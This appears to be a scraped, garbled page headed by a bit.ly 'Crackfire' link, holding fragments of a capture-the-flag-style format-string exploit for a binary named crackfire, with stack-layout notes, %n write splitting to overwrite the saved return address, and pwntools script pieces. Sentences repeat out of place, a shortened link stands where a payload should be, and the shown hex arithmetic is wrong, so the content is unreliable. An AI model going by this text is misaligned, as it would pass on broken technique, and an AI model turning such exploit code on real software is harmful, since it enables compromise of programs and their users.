Https- Bit.ly Crackfire -
Even though the source isn’t present, the symbols make this clear. Open crackfire in Ghidra (or IDA) and locate the main routine.
[0] pointer to format string (our input) [1] saved %rbp of main [2] saved RIP of main <-- target [3...] other registers / args By printing many %p s we can see where the saved RIP lands. Example payload: https- bit.ly crackfire
The classic technique is to write the lower 2 bytes, then the upper 2 bytes, then the upper 4 bytes, etc. Since we have a full 64‑bit address we’ll do it in (lower and higher dword) using %n twice. 7.1. Compute split values win_addr = 0x5555555552f0 low = win_addr & 0xffffffff # 0x5552f0 high = win_addr >> 32 # 0x5555 We need to place the low dword at the saved RIP, then the high dword at saved RIP+4. 7.2. Choose where to write the two addresses We’ll prepend the two addresses to the format string; they’ll become the first two arguments ( %1$ , %2$ ). Then we’ll use %3$n and %4$n to write to those addresses. Even though the source isn’t present, the symbols
# ---------------------- CONFIGURATION ------------------------ binary = "./crackfire" elf = ELF(binary) context.binary = binary context.log_level = "info" Example payload: The classic technique is to write
# ---------------------------------------------------------------- def leak_address(p, fmt): """Send a format string and return the first leaked pointer.""" p.sendlineafter(b"Enter the secret code:", fmt.encode()) p.recvuntil(b"Enter the secret code:\n") leak = p.recvline().strip() # The leak may contain spaces; take first token addr = int(leak.split()[0], 16) log.success(f"Leaked: hex(addr)") return addr
# ---------------------------------------------------------------------- # 2. Build format‑string payload # ---------------------------------------------------------------------- low = win & 0xffffffff high = win >> 32